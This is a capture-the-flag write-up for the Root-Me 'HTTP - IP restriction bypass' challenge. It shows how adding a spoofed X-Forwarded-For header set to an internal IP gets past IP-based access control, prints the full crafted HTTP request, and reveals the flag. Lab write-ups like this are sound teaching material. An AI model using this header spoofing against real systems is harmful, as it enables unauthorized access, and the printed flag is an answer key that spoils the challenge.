> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/root-me/web-server/http-ip-restriction-bypass.md).
# HTTP - IP restriction bypass
> Dear colleagues, We’re now managing connections to the intranet using private IP addresses, so it’s no longer necessary to login with a username / password when you are already connected to the internal company network. Regards, The network admin
Let's intercept this request in Burpsuite.
Next, we can send this request to the `Repeater`.
## X-Forwarded-For
```
X-Forwarded-For: , ,
```
It is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through a proxy server.
We can add this header and set it's value to `192.168.0.1` as the origin should be connected to the internal company network.
## HTTP Request
```
POST /web-serveur/ch68/ HTTP/1.1
Host: challenge01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
X-Forwarded-For: 192.168.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://challenge01.root-me.org/web-serveur/ch68/
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://challenge01.root-me.org
DNT: 1
Connection: close
Cookie: _ga_SRYSKX09J7=GS1.1.1697290591.1.1.1697292257.0.0.0; _ga=GA1.1.1863804672.1697290591
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
```
For the final step we have to send this request to the server.
## Flag
```
Ip_$po0Fing
```